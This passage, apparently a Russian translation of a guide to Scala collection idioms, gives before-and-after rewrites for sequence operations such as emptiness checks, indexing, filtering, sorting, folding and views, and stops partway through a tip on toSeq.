вы можете [узнать, как помочь в развитии IntelliJ плагина для Scala](https://blog.jetbrains.com/scala/2016/04/21/how-to-contribute-to-intellij-scala-plugin/) и попробовать свои силы в реализации, [подобрав подходящую инспекцию](https://youtrack.jetbrains.com/issues/SCL?q=summary:%20collection%20tag:%20%7BUp%20For%20Grabs%7D).
**Содержание:**
```
1. Легенда
2. Композиция
3. Побочные эффекты
4. Последовательности (Sequences)
4.1. Создание
4.2. Длина
4.3. Равенство
4.4. Индексация
4.5. Существование
4.6. Фильтрация
4.7. Сортировка
4.8. Свертка
4.9. Сопоставление
4.10. Перерабатываем
5. Множества (Sets)
6. Option-ы
6.1. Значение
6.2. Null
6.3. Обработка
6.4. Перерабатываем
7. Таблицы
8. Дополнение
```
Все примеры кода доступны в [репозитории на GitHub](https://github.com/pavelfatin/scala-collections-tips-and-tricks).
1. Легенда
----------
Чтобы сделать примеры кода понятней, я использовал следующие обозначения:
* `seq` — экземпляр основанной на `Seq` коллекции, вроде `Seq(1, 2, 3)`
* `set` — экземпляр `Set`, например `Set(1, 2, 3)`
* `array` — массив, такой как `Array(1, 2, 3)`
* `option` — экземпляр `Option`, например, `Some(1)`
* `map` — экземпляр `Map`, подобный `Map(1 -> "foo", 2 -> "bar")`
* `???` — произвольное выражение
* `p` — предикат функции типа `T => Boolean`, например `_ > 2`
* `n` — целочисленное значение
* `i` — целочисленный индекс
* `f`, `g` — простые функции, `A => B`
* `x`, `y` — некоторые произвольные значения
* `z` — начальное или значение по умолчанию
* `P` — паттерн
2. Композиция
-------------
Помните, вопреки тому, что рецепты изолированы и самодостаточны, их можно скомпоновать для последующего постепенного превращения в более продвинутые выражения:
```
seq.filter(_ == x).headOption != None
// от seq.filter(p).headOption к seq.find(p)
seq.find(_ == x) != None
// от option != None к option.isDefined
seq.find(_ == x).isDefined
// от seq.find(p).isDefined к seq.exists(p)
seq.exists(_ == x)
// от seq.exists(_ == x) к seq.contains(x)
seq.contains(x)
```
Так, мы можем полагаться на "заменяющую модель применения рецептов" (аналогично [SICP](https://mitpress.mit.edu/sicp/full-text/sicp/book/node10.html)), и использовать ее для упрощения сложных выражений.
3. Побочные эффекты
-------------------
"Побочный эффект" (Side effect) это основное понятие, которое стоит рассмотреть перед тем, как мы перечислим основные преобразования.
По сути, побочный эффект — любое действие, которое наблюдается за пределами функции или выражения помимо возврата значения, например:
* операция ввода-вывода,
* модификация переменной (доступной за пределами области видимости),
* изменение состояния объекта (наблюдаемое вне области видимости),
* возбуждение исключения (которое также не обрабатывается внутри области видимости).
О функциях или выражениях, содержащих любое из вышеперечисленных действий, говорят, что они имеют побочные эффекты, в противном случае их называют «чистыми».
Почему побочные эффекты так важны? Потому что с ними порядок исполнения имеет значение. Например, два «чистых» выражения, (связанных с соответствующими значениями):
```
val x = 1 + 2
val y = 2 + 3
```
Так как они не содержат побочных эффектов (т.е. эффектов, наблюдаемых вне выражений), мы можем вычислить эти выражения в произвольном порядке — сначала `x`, а затем `y` или сначала `y`, а затем `x` — это не повлияет на корректность полученных результатов (мы можем даже закешировать результирующие значения, если того захотим). Теперь рассмотрим следующую модификацию:
```
val x = { print("foo"); 1 + 2 }
val y = { print("bar"); 2 + 3 }
```
А это уже другая история — мы не можем изменить порядок выполнения, потому что в нашем терминале будет напечатано "barfoo" вместо "foobar" (и это явно не то, чего хотелось).
Так, присутствие побочных эффектов **сокращает число возможных преобразований** (как упрощений, так и оптимизаций), которые мы можем применить к коду.
Схожие рассуждения применимы и к родственным коллекциям, выражениям. Представим, что где-то за пределами области видимости у нас есть некий `builder`:
```
seq.filter(x => { builder.append(x); x > 3 }).headOption
```
В принципе, вызов `seq.filter(p).headOption` упрощается до `seq.find(p)`, впрочем, наличие побочного эффекта не дает нам это сделать:
```
seq.find( x => {builder.append(x); x > 3 })
```
Хотя эти выражения и эквивалентны с позиции конечного значения, они не эквивалентны касательно побочных эффектов. Первое выражение добавит все элементы, а последнее отбросит все элементы, как только найдет первое совпадающее с предикатом значение. Поэтому такое упрощение сделать нельзя.
Что можно сделать для того, чтобы автоматическое упрощение стало возможным? Ответ — это **золотое правило**, которого следует придерживаться по отношению ко всем побочным эффектам в нашем коде (включая тот, где коллекций нет в принципе):
* Избегать побочных эффектов, когда это возможно.
* В противном случае изолировать побочные эффекты от чистого кода.
Поэтому нам нужно либо избавиться от `builder`а (вместе с его API, в котором есть побочные эффекты), либо отделить вызов `builder`а от чистого выражения. Предположим, что этот `builder` является неким сторонним объектом, изжить который мы не можем, так что нам остается лишь изолировать вызов:
```
seq.foreach(builder.append)
seq.filter(_ > 3).headOption
```
Теперь мы можем благополучно выполнить преобразование:
```
seq.foreach(builder.append)
seq.find(x > 3)
```
Чисто и красиво! Изоляция побочных эффектов сделала возможным автоматическое преобразование. Дополнительная выгода еще и в том, что из-за присутствия четкого разделения, человеку легче понять получившийся код.
Наименее очевидным и при этом наиболее важным преимуществом изоляции побочных эффектов будет улучшение надежности нашего кода вне зависимости от других возможных оптимизаций. Касательно примера: первоначальное выражение может порождать различные побочные эффекты, зависящие от текущей реализации `Seq`. Для `Vector`, например, оно добавит все элементы, для `Stream` оно пропустит все элементы после первого удачного сопоставления с предикатом (потому что стримы «ленивы» — элементы вычисляются только тогда, когда это необходимо). Отделение побочных эффектов позволяет нам избежать этих неопределенностей.
4. Последовательности (Sequences)
---------------------------------
Хотя советы в этом разделе и относятся к наследникам `Seq`, некоторые преобразования допустимы и для других типов коллекций (и не коллекций), например: `Set`, `Option`, `Map` и даже `Iterator` (потому что все они предоставляют похожие интерфейсы с монадическими методами).
### 4.1 Создание
#### Явно создавайте пустые коллекции
```
// До
Seq[T]()
// После
Seq.empty[T]
```
Некоторые неизменяемые (immutable) классы коллекций имеют синглтон-реализацию метода `empty`. Однако, далеко не все фабричные методы проверяют длину созданных коллекций. Так что, обозначив пустоту на этапе компиляции, вы можете сохранить либо место в куче (путем переиспользования экземпляра), либо такты процессора (которые могли бы быть потрачены на проверки размерности во время выполнения).
Также применимо к: `Set`, `Option`, `Map`, `Iterator`.
### 4.2 Длины
#### Для массивов используйте `length` вместо `size`
```
// До
array.size
// После
array.length
```
Хотя `size` и `length` по существу синонимы, в Scala 2.11 вызовы `Array.size` по-прежнему выполняются через неявное преобразование (implicit conversion), таким образом создавая промежуточные объекты-обертки для каждого вызова метода. Если вы, конечно, не включите [эскейп анализ](https://en.wikipedia.org/wiki/Escape_analysis) для JVM, временные объекты станут обузой для сборщика мусора и ухудшат производительность кода (особенно внутри циклов).
#### Не отрицайте isEmpty
```
// До
!seq.isEmpty
!seq.nonEmpty
// После
seq.nonEmpty
seq.isEmpty
```
Простые свойства содержат меньше визуального шума, чем составные выражения.
Также применимо к: `Set`, `Option`, `Map`, `Iterator`.
#### Не вычисляйте длину при проверке на пустоту.
```
// До
seq.length > 0
seq.length != 0
seq.length == 0
// После
seq.nonEmpty
seq.nonEmpty
seq.isEmpty
```
С одной стороны, простое свойство воспринимается гораздо легче, чем составное выражение. С другой стороны, наследникам `LinearSeq` (таким как `List`) может потребоваться `O(n)` времени на вычисление длины списка (вместо `O(1)` для `IndexedSeq`), таким образом мы можем ускорить наш код, избегая вычисления длины, когда нам, вобщем-то, это значение не очень-то и нужно.
Имейте также в виду, что вызов `.length` для бесконечных стримов может никогда не закончиться, поэтому всегда проверяйте стрим на пустоту явно.
Также применимо к: `Set`, `Map`.
### Во время сравнения не вычисляйте полный размер коллекции
```
// До
seq.length > n
seq.length < n
seq.length == n
seq.length != n
// После
seq.lengthCompare(n) > 0
seq.lengthCompare(n) < 0
seq.lengthCompare(n) == 0
seq.lengthCompare(n) != 0
```
Поскольку расчет размера коллекции может быть достаточно «дорогим» вычислением для некоторых типов коллекций, мы можем сократить время сравнения с `O(length)` до `O(length min n)` для наследников `LinearSeq` (которые могут быть спрятаны под `Seq`-подобными значениями). Кроме того, такой подход незаменим, когда имеем дело с бесконечными стримами.
### Не используйте `exists` для проверки на пустоту
```
// До
seq.exists(_ => true)
seq.exists(const(true))
// После
seq.nonEmpty
```
Разумеется, такой трюк будет совсем излишним.
Также применимо к: Set, Option, Map, Iterator.
### 4.3 Равенство
#### Не полагайтесь на `==` для сравнения содержимого массивов
```
// До
array1 == array2
// После
array1.sameElements(array2)
```
Проверка на равенство всегда будет выдавать `false` для различных экземпляров массивов.
Также применимо к: `Iterator`.
#### Не проверяйте на равенство коллекции различных категорий
```
// До
seq == set
// После
seq.toSet == set
```
Проверки на равенство могут быть использованы для сравнения коллекций и различных категорий (например `List` и `Set`).
Прошу вас дважды подумать о смысле данной проверки (касательно примера выше — как рассматривать дубликаты в последовательности).
#### Не используйте `sameElements` для сравнения обыкновенных коллекций
```
// До
seq1.sameElements(seq2)
// После
seq1 == seq2
```
Проверка равенства — это способ, которым следует сравнивать коллекции одной и той же категории. В теории это может улучшить производительность из-за наличия возможных низлежащих проверок экземпляра (`eq`, обычно намного быстрее).
#### Не используйте corresponds явно
```
// До
seq1.corresponds(seq2)(_ == _)
// После
seq1 == seq2
```
У нас уже есть встроенный метод, который делает тоже самое. Оба выражения принимают во внимание порядок элементов. И мы опять-таки сможем выиграть пользу от повышения производительности.
4.4 Индексация
--------------
#### Не получайте первый элемент по индексу
```
// До
seq(0)
// После
seq.head
```
Для некоторых классов коллекций обновленный подход может быть немного быстрее (ознакомьтесь с кодом `List.apply`, например). К тому же, доступ к свойству намного проще (как синтаксически, так и семантически), чем вызов метода с аргументом.
#### Не получайте последний элемент по индексу
```
// До
seq(seq.length - 1)
// После
seq.last
```
Последнее выражение будет понятней и позволит избежать ненужного вычисления длины коллекции (а для линейных последовательностей это может занять немало времени). Более того, некоторые классы коллекций могут извлекать последний элемент более эффективно в сравнении с доступом по индексу.
#### Не проверяйте нахождение индекса в границах коллекции явно
```
// До
if (i < seq.length) Some(seq(i)) else None
// После
seq.lift(i)
```
Семантически второе выражение эквивалентно, однако более выразительно
#### Не эмулируйте headOption
```
// До
if (seq.nonEmpty) Some(seq.head) else None
seq.lift(0)
// После
seq.headOption
```
Упрощенное выражение более лаконично.
#### Не эмулируйте `lastOption`
```
// До
if (seq.nonEmpty) Some(seq.last) else None
seq.lift(seq.length - 1)
// После
seq.lastOption
```
Последнее выражение короче (и потенциально быстрее).
#### Будьте осторожны с типами аргументов для `indexOf` и `lastIndexOf`
```
// До
Seq(1, 2, 3).indexOf("1") // скомпилируется
Seq(1, 2, 3).lastIndexOf("2") // скомпилируется
// После
Seq(1, 2, 3).indexOf(1)
Seq(1, 2, 3).lastIndexOf(2)
```
Из-за особенностей работы [вариантности](http://stackoverflow.com/questions/2078246/why-does-seq-contains-accept-type-any-rather-than-the-type-parameter-a/2078619#2078619), методы `indexOf` и `lastIndexOf` принимают аргументы типа `Any`. На практике это может приводить к труднонаходимым багам, которые невозможно обнаружить на этапе компиляции. Вот где будут к месту вспомогательные инспекции вашей IDE.
#### Не создавайте диапазон индексов последовательности вручную
```
// До
Range(0, seq.length)
// После
seq.indices
```
У нас есть встроенный метод, который возвращает диапазон из всех индексов последовательности.
#### Не используйте zip для связывания коллекции с индексами вручную
```
// До
seq.zip(seq.indices)
// После
seq.zipWithIndex
```
Во-первых, последнее выражение короче. Кроме того, мы можем ожидать некоторый прирост производительности, из-за того, что мы избегаем скрытого вычисления размера коллекции (что в случае линейных последовательностей может обойтись недешево).
Дополнительное преимущество последнего выражения в том, что оно хорошо работает с потенциально бесконечными коллекциями (например `Stream`).
#### Используйте экземпляр IndexedSeq как объект-функцию:
```
// До (seq: IndexedSeq[T])
Seq(1, 2, 3).map(seq(_))
// После
Seq(1, 2, 3).map(seq)
```
Поскольку экземпляр `IndexedSeq[T]` также является `Function1[Int, T]`, вы можете использовать его как таковой.
### 4.5 Существование
#### Не используйте предикат сравнения для проверки наличия элемента
```
// До
seq.exists(_ == x)
// После
seq.contains(x)
```
Второе выражение семантически эквивалентно, при этом более выразительно. Когда эти выражения применяются к `Set`, производительность может разительно отличаться, потому что поиск у множеств стремится к `O(1)` (из-за внутреннего индексирования, не использующегося при вызове `exists`).
Также применимо к: `Set`, `Option`, `Iterator`.
#### Будьте осторожны с типом аргумента `contains`
```
// До
Seq(1, 2, 3).contains("1") // компилируется
// После
Seq(1, 2, 3).contains(1)
```
Так же как методы `indexOf` и `lastIndexOf`, `contains` принимает аргументы типа `Any`, что может привести к труднонаходимым багам, которые не обнаруживаются на этапе компиляции. Будьте с ними осторожны.
#### Не используйте предикат неравенства для проверки отсутствия элемента
```
// До
seq.forall(_ != x)
// После
!seq.contains(x)
```
И снова последнее выражение чище и, вероятно, быстрее (особенно для множеств).
Также применимо к: `Set`, `Option`, `Iterator`.
#### Не считайте вхождения для проверки существования
```
// До
seq.count(p) > 0
seq.count(p) != 0
seq.count(p) == 0
// После
seq.exists(p)
seq.exists(p)
!seq.exists(p)
```
Очевидно, когда нам нужно знать, находится ли соответствующий условию элемент в коллекции, подсчет количества удовлетворяющих элементов будет излишним. Упрощенное выражение выглядит чище и работает быстрее.
* Предикат `p` должен быть чистой функцией.
* Также применимо к: `Set`, `Map`, `Iterator`.
#### Не прибегайте к фильтрации для проверки существования
```
// До
seq.filter(p).nonEmpty
seq.filter(p).isEmpty
// После
seq.exists(p)
!seq.exists(p)
```
Вызов `filter` создает промежуточную коллекцию, которая занимает место в куче и нагружает GC. К тому же, предшествующие выражения находят все вхождения, в то время как требуется найти только первое (что может замедлить код в зависимости от возможного содержимого коллекции). Потенциальный выигрыш в производительности менее значим для ленивых коллекций (таких как `Stream` и, в особенности, `Iterator`).
* Предикат `p` должен быть чистой функцией.
* Также применимо к: `Set`, `Option`, `Map`, `Iterator`.
#### Не прибегайте к поиску, чтобы проверить существование
```
// До
seq.find(p).isDefined
seq.find(p).isEmpty
// После
seq.exists(p)
!seq.exists(p)
```
Поиск определенно лучше фильтрации, однако и это далеко не предел (по крайней мере, с точки зрения ясности).
Также применимо к: `Set`, `Option`, `Map`, `Iterator`.
### 4.6 Фильтрация
#### Не отрицайте предикат filter
```
// До
seq.filter(!p)
// После
seq.filterNot(p)
```
Последнее выражение синтактически проще (при том, что семантически они эквивалентны).
Также применимо к: `Set`, `Option`, `Map`, `Iterator`.
#### Не фильтруйте, чтобы посчитать
```
// До
seq.filter(p).length
// После
seq.count(p)
```
Вызов `filter` создает промежуточную (и не очень-то нужную) коллекцию, которая будет занимать место в куче и нагружать GC.
Также применимо к: `Set`, `Option`, `Map`, `Iterator`.
#### Не используйте фильтрацию для того, чтобы найти первое вхождение
```
// До
seq.filter(p).headOption
// После
seq.find(p)
```
Конечно, если `seq` не является ленивой коллекцией (как, например, `Stream`), фильтрация найдет все вхождения (и создаст временную коллекцию) при том, что требовался только первый элемент.
Также применимо к: `Set`, `Option`, `Map`, `Iterator`.
### 4.7 Сортировка
#### Не сортируйте по свойству вручную
```
// До
seq.sortWith(_.property < _.property)
// После
seq.sortBy(_.property)
```
Для этого у нас есть свой метод, более ясный и выразительный.
#### Не сортируйте по тождеству вручную
```
// До
seq.sortBy(identity)
seq.sortWith(_ < _)
// После
seq.sorted
```
И для этого тоже есть метод.
#### Выполняйте обратную сортировку в один шаг
```
// До
seq.sorted.reverse
seq.sortBy(_.property).reverse
seq.sortWith(f(_, _)).reverse
// После
seq.sorted(Ordering[T].reverse)
seq.sortBy(_.property)(Ordering[T].reverse)
seq.sortWith(!f(_, _))
```
Таким образом, мы можем избежать создания промежуточной коллекции и исключить дополнительные преобразования (чтобы сберечь место в куче и циклы процессора).
#### Не используйте сортировку для нахождения минимального элемента
```
// До
seq.sorted.head
seq.sortBy(_.property).head
// После
seq.min
seq.minBy(_.property)
```
Последний подход более выразителен. Кроме того, из-за того что не создается дополнительная коллекция, работать он будет быстрее.
#### Не используйте сортировку для нахождения максимального элемента
```
// До
seq.sorted.last
seq.sortBy(_.property).last
// После
seq.max
seq.maxBy(_.property)
```
Объяснение совпадает с предыдущим советом.
### 4.8 Свертка
#### Не вычисляйте сумму вручную
```
// До
seq.reduce(_ + _)
seq.fold(z)(_ + _)
// После
seq.sum
seq.sum + z
```
Преимущества этого подхода — ясность и выразительность.
* Другие возможные методы: `reduceLeft`, `reduceRight`, `foldLeft`, `foldRight`.
* Второе преобразование может быть заменено первым, если `z` равняется `0`.
* Также применимо к: `Set`, `Iterator`.
#### Не вычисляйте произведение вручную
```
// До
seq.reduce(_ * _)
seq.fold(z)(_ * _)
// После
seq.product
seq.product * z
```
Причины те же, что и в предыдущем случае.
* Второе преобразование может быть заменено первым, если `z` равняется `1`.
* Также применимо к: `Set`, `Iterator`.
#### Не ищите минимальный элемент вручную
```
// До
seq.reduce(_ min _)
seq.fold(z)(_ min _)
// После
seq.min
z min seq.min
```
Обоснование такое же, как и в предыдущем случае.
Также применимо к: `Set`, `Iterator`.
#### Не выполняйте поиск максимального элемента вручную
```
// До
seq.reduce(_ max _)
seq.fold(z)(_ max _)
// После
seq.max
z max seq.max
```
Все как и в предыдущем случае.
Также применимо к: `Set`, `Iterator`.
#### Не эмулируйте `forall`
```
// До
seq.foldLeft(true)((x, y) => x && p(y))
!seq.map(p).contains(false)
// После
seq.forall(p)
```
Цель упрощения — ясность и выразительность.
* Предикат `p` должен быть чистой функцией.
* Также применимо к: `Set`, `Option` (для второй строки), `Iterator`.
#### Не эмулируйте `exists`
```
// До
seq.foldLeft(false)((x, y) => x || p(y))
seq.map(p).contains(true)
// После
seq.exists(p)
```
При всей ясности и выразительности, последнее выражение может работать быстрее (оно останавливает последующую обработку элементов, как только найдет первый подходящий элемент), что может работать для бесконечных последовательностей.
* Предикат `p` должен быть чистой функцией.
* Также применимо к: `Set`, `Option` (для второй строки), `Iterator`.
#### Не эмулируйте `map`
```
// До
seq.foldLeft(Seq.empty)((acc, x) => acc :+ f(x))
seq.foldRight(Seq.empty)((x, acc) => f(x) +: acc)
// После
seq.map(f)
```
Это «классическая» в функциональном программировании реализация отображения (map) через свертку. Бесспорно, она поучительна, но нужды ее использовать нет. Для этого у нас есть встроенный и выразительный метод (который еще и быстрее, так как в своей реализации использует простой цикл `while`).
Также применимо к: `Set`, `Option`, `Iterator`.
#### Не эмулируйте `filter`
```
// До
seq.foldLeft(Seq.empty)((acc, x) => if (p(x)) acc :+ x else acc)
seq.foldRight(Seq.empty)((x, acc) => if (p(x)) x +: acc else acc)
// После
seq.filter(p)
```
Причины те же, что и в предыдущем случае.
Также применимо к: `Set`, `Option`, `Iterator`.
#### Не эмулируйте `reverse`
```
// До
seq.foldLeft(Seq.empty)((acc, x) => x +: acc)
seq.foldRight(Seq.empty)((x, acc) => acc :+ x)
// После
seq.reverse
```
И опять-таки встроенный метод быстрее и чище.
Также применимо к: `Set`, `Option`, `Iterator`.
### 4.9 Сопоставление
Вот несколько обособленных советов, посвященных [сопоставлению с образцом](http://docs.scala-lang.org/tutorials/tour/pattern-matching.html) в Scala и [частичным функциям](https://www.scala-lang.org/api/current/index.html#scala.PartialFunction).
#### Используйте частичные функции вместо функций с паттерн-матчингом
```
// До
seq.map {
_ match {
case P => ??? // x N
}
}
// После
seq.map {
case P => ??? // x N
}
```
Обновленное выражение дает сходный результат и выглядит при этом проще.
Описанные выше преобразования можно применить к любым функциям, а не только к аргументам функции `map`. Этот совет относится не только к коллекциям. Однако, в виду вездесущести [функций высшего порядка](https://en.wikipedia.org/wiki/Higher-order_function) в API стандартной библиотеки коллекций Scala, он будет весьма кстати.
#### Конвертируйте `flatMap` с частичной функцией `collect`
```
// До
seq.flatMap {
case P => Seq(???) // x N
case _ => Seq.empty
}
// После
seq.collect {
case P => ??? // x N
}
```
Обновленное выражение дает аналогичный результат и выглядит намного проще.
Также применимо к: `Set`, `Option`, `Map`, `Iterator`.
#### Преобразовать `match` к `collect`, когда результатом является коллекция
```
// До
v match {
case P => Seq(???) // x N
case _ => Seq.empty
}
// После
Seq(v) collect {
case P => ??? // x N
}
```
Учитывая, что все case-операторы создают коллекции, можно упростить выражение, заменив `match` на вызов `collect`. Так мы создаем коллекцию всего один раз, опустив при этом явные ветки `case` для дефолтных случаев.
Лично я обычно использую этот трюк с `Option`, а не с последовательностями как таковыми.
Также применимо к: `Set`, `Option`, `Iterator`.
#### Не эмулируйте `collectFirst`
```
// До
seq.collect{case P => ???}.headOption
// После
seq.collectFirst{case P => ???}
```
Для такого случая у нас есть особый метод, который работает быстрее для неленивых коллекций.
* Частичная функция должна быть чистой.
* Также применимо к: `Set`, `Map`, `Iterator`.
### 4.10 Перерабатываем
#### Соединяем последовательные вызовы `filter`
```
// До
seq.filter(p1).filter(p2)
// После
seq.filter(x => p1(x) && p2(x))
```
Так мы можем избежать создания промежуточной коллекции (после первого вызова `filter`), чем облегчим участь сборщика мусора.
Мы так же можем использовать обобщенный подход, который полагается на представления (смотрите ниже), получив: `seq.view.filter(p1).filter(p2).force`.
* Предикаты `p1` и `p2` должны быть чистыми функциями.
* Также применимо к: `Set`, `Option`, `Map`, `Iterator`.
#### Соединяем последовательные вызовы `map`
```
// До
seq.map(f).map(g)
// После
seq.map(f.andThen(g))
```
Как и в предыдущем случае, мы сразу создаем конечную коллекцию без создания промежуточной.
Мы так же можем применить обобщенный подход, который полагается на view (смотрите ниже), получив: `seq.view.map(f).map(g).force`.
* Функции `f` и `g` должны быть чистыми.
* Также применимо к: `Set`, `Option`, `Map`, `Iterator`.
#### Сортируйте после фильтрации
```
// До
seq.sorted.filter(p)
// После
seq.filter(p).sorted
```
Сортировка — процедура затратная. Поэтому нет нужды сортировать элементы, которые на следующем шаге могут быть отфильтрованы.
* Подобное применимо ко всем возможным методам сортировки, таким как `sortWith` и `sortBy`.
* Предикат `p` должен быть чистой функцией.
#### Не переворачивайте коллекцию явно перед вызовом `map`
```
// До
seq.reverse.map(f)
// После
seq.reverseMap(f)
```
Первое выражение создает промежуточную (перевернутую) коллекцию перед преобразованием элементов, что иногда бывает достаточно разумно (например для `List`). В других случаях, что будет более эффективно, можно сразу выполнить требуемые преобразования, не создавая промежуточную коллекцию.
#### Не переворачивайте коллекцию явно для получения обратного итератора
```
// До
seq.reverse.iterator
// После
seq.reverseIterator
```
К тому же последнее выражение проще и может быть более эффективным.
#### Не конвертируйте коллекцию `Set` для нахождения отдельных элементов
```
// До
seq.toSet.toSeq
// После
seq.distinct
```
Нет нужды создавать временное множество (во всяком случае явно), чтобы найти отдельные элементы.
#### Не эмулируйте `slice`
```
// До
seq.drop(x).take(y)
// После
seq.slice(x, x + y)
```
Для линейных последовательностей, ничего кроме ясно выраженных мыслей и намерений мы не получим. Однако, в случае с индексированными последовательностями мы можем ожидать потенциальный прирост производительности.
Также применимо к: `Set`, `Map`, `Iterator`.
#### Не эмулируйте `splitAt`
```
// До
val seq1 = seq.take(n)
val seq2 = seq.drop(n)
// После
val (seq1, seq2) = seq.splitAt(n)
```
Для линейных последовательностей (как для `List`, так и для `Stream`), упрощенные выражения будут выполняться быстрее из-за того, что результаты вычисляются за один проход.
Также применимо к: `Set`, `Map`.
#### Не эмулируйте `span`
```
// До
val seq1 = seq.takeWhile(p)
val seq2 = seq.dropWhile(p)
// После
val (seq1, seq2) = seq.span(p)
```
А так мы можем пройти последовательность и проверить предикат не два, а всего один раз.
* Предикат `p` не должен иметь побочных эффектов.
* Также применимо к: `Set`, `Map`, `Iterator`.
#### Не эмулируйте `partition`
```
// До
val seq1 = seq.filter(p)
val seq2 = seq.filterNot(p)
// После
val (seq1, seq2) = seq.partition(p)
```
Опять-таки, преимуществом будет вычисление в один проход
* Предикат `p` не должен иметь побочных эффектов.
* Также применимо к: `Set`, `Map`, `Iterator`.
#### Не эмулируйте `takeRight`
```
// До
seq.reverse.take(n).reverse
// После
seq.takeRight(n)
```
Последнее выражение более выразительно и потенциально более эффективно (как для индексированных, так и для линейных последовательностей).
#### Не эмулируйте `flatten`
```
// До (seq: Seq[Seq[T]])
seq.reduce(_ ++ _)
seq.fold(Seq.empty)(_ ++ _)
seq.flatMap(identity)
// После
seq.flatten
```
Нет необходимости делать это вручную: у нас уже есть встроенный метод.
Также применимо к: `Set`, `Option`, `Iterator`.
#### Не эмулируйте `flatMap`
```
// До (f: A => Seq[B])
seq.map(f).flatten
// После
seq.flatMap(f)
```
Опять-таки незачем писать велосипед. Улучшится не только выразительность, дополнительная коллекция создаваться тоже не будет.
Также применимо к: `Set`, `Option`, `Iterator`.
#### Не используйте `map` если результат игнорируется
```
// До
seq.map(???) // результат игнорируется
// После
seq.foreach(???)
```
Когда вам нужны именно побочные эффекты, оправданий вызову `map` нет. Такой вызов вводит в заблуждение, при том еще и менее эффективен.
Также применимо к: `Set`, `Option`, `Map`, `Iterator`.
#### Не используйте `unzip` для извлечения единственного элемента
```
// До (seq: Seq[(A, B]])
seq.unzip._1
// После
seq.map(_._1)
```
Незачем создавать дополнительные коллекции, когда требуется всего-навсего один элемент.
* Другой возможный метод: `unzip3`.
* Также применимо к: `Set`, `Option`, `Map`, `Iterator`.
#### Не создавайте временные коллекции
Этот рецепт разбит на три части (в зависимости от конечного результата преобразования).
1) Преобразование сокращает коллекцию до единственного значения.
```
// До
seq.map(f).flatMap(g).filter(p).reduce(???)
// После
seq.view.map(f).flatMap(g).filter(p).reduce(???)
```
Вместо `reduce` может быть любой метод, который сокращает коллекцию до единственного значения, например: `reduceLeft`, `reduceRight`, `fold`, `foldLeft`, `foldRight`, `sum`, `product`, `min`, `max`, `head`, `headOption`, `last`, `lastOption`, `indexOf`, `lastIndexOf`, `find`, `contains`, `exists`, `count`, `length`, `mkString`, и т.д.
Точный порядок преобразований не столь важен — важно то, что мы создаем одну, а то и несколько промежуточных коллекций не очень-то и нужных, при этом они будут занимать место в куче и нагружать GC. Это происходит потому, что по умолчанию все преобразователи коллекций (`map`, `flatMap`, `filter`, `++,` и т.д.) являются «строгими» (за исключением`Stream`) и, как результат, порождают новую коллекцию со всеми ее элементами.
Здесь на помощь приходят представления (view) — о которых вы можете думать, как о своего рода итераторах, позволяющих повторную итерацию:
* Представления "ленивы" — элементы создаются только когда необходимы.
* Представления не содержат созданных элементов в памяти (чем грешат даже `Stream`).
Чтобы перейти от коллекции к ее представлению, используйте метод `view`.
2) Преобразование, порождающее коллекцию того же типа.
Представления можно использовать и тогда, когда конечный результат преобразования по-прежнему остается коллекцией — метод `force` построит коллекцию первоначального типа (при этом все промежуточные коллекции созданы не будут):
```
// До
seq.map(f).flatMap(g).filter(p)
// После
seq.view.map(f).flatMap(g).filter(p).force
```
Если фильтрация — единственное промежуточное преобразование, то, как вариант, вы можете рассмотреть метод `withFilter`:
```
seq.withFilter(p).map(f)
```
Первоначально этот метод [предназначался](https://www.scala-lang.org/old/node/3698.html#comment-14546) для использования внутри "for comprehensions". Он работает так же, как и представление — создает временный объект, который ограничивает область последующих преобразований коллекции (так, что он реорганизует возможные побочные эффекты). Однако, нет нужды явно преобразовывать коллекцию к (или наоборот) от временного представления (вызвав `veiw` и `force`)
Хоть основанный на представлениях подход и будет более универсальным в этом конкретном случае, `withFilter` из-за лаконичности может быть более предпочтительным.
3) Преобразование порождает коллекцию другого типа.
```
// До
seq.map(f).flatMap(g).filter(p).toList
// После
seq.view.map(f).flatMap(g).filter(p).toList
```
В этот раз вместо обобщенного вызова `force` мы используем подходящий метод-конвертер, поэтому результатом будет коллекция другого типа.
Также существует альтернативный способ совладать с «преобразованием + конверсией». И случай этот полагается на `breakOut`:
```
seq.map(f)(collection.breakOut): List[T]
```
Функционально выражение эквивалентно использованию представления, однако:
* требует явного указания ожидаемого типа (что, зачастую, требует дополнительного указания типа),
* ограничивается единичным преобразованием (как, например, `map`, `flatMap`, `filter`, `fold`, и т.д.),
* выглядит весьма заумно (в виду того, что неявные билдеры обычно [опускают](https://www.scala-lang.org/api/current/index.html#scala.collection.Seq) из документации стандартной библиотеки коллекций Scala).
Так что, скорее всего, лучше заменить `breakOut` на более гибкое и выразительнее представление.
Представления наиболее целесообразны при относительно большом размере коллекций.
* Все перечисленные функции (как `f` и `g`) и предикаты (`p`) должны быть чистыми функциями (так как представление может задерживать, пропускать, а то и вовсе переупорядочивать вычисления).
* Также применимо к: `Set`, `Map`.
#### Используйте операторы для переприсванивания последовательностей
```
// До
seq = seq :+ x
seq = x +: seq
seq1 = seq1 ++ seq2
seq1 = seq2 ++ seq1
// После
seq :+= x
seq +:= x
seq1 ++= seq2
seq1 ++:= seq2
```
Scala предлагает «синтаксический сахар», известный как «операторы присваивания» (“assignment operators”) — он автоматически приводит операторы типа `x = y` к виду `x = x y`, где: некий символьный оператор (например: `+`, `-`, и т.д). Обратите внимание, что если заканчивается на `:`, то он считается право-ассоциативным (т.е. вызывается для правого выражения, вместо левого). Для списков и стримов также существует особый синтаксис:
```
// До
list = x :: list
list1 = list2 ::: list1
stream = x #:: stream
stream1 = stream2 #::: stream1
// После
list ::= x
list1 :::= list2
stream #::= x
stream1 #:::= stream2
```
Упрощенные выражения лаконичны.
Также применимо к `Set`, `Map`, `Iterator` (учитывая специфику операторов).
#### Не приводите коллекции к заданному типу вручную
```
// До
seq.foldLeft(Set.empty)(_ + _)
seq.foldRight(List.empty)(_ :: _)
// После
seq.toSet
seq.toList
```
Для этого существуют встроенные методы, которые и чище, и быстрее. А если вам нужно преобразовать или отфильтровать значения во время преобразования, рассмотрите использование представлений или схожих техник, описанных выше.
Также применимо к: `Set`, `Option`, `Iterator`.
#### Берегитесь `toSeq` для нестрогих коллекций.
```
// До (seq: TraversableOnce[T])
seq.toSeq
// После
seq.toStream
seq.toVector
```
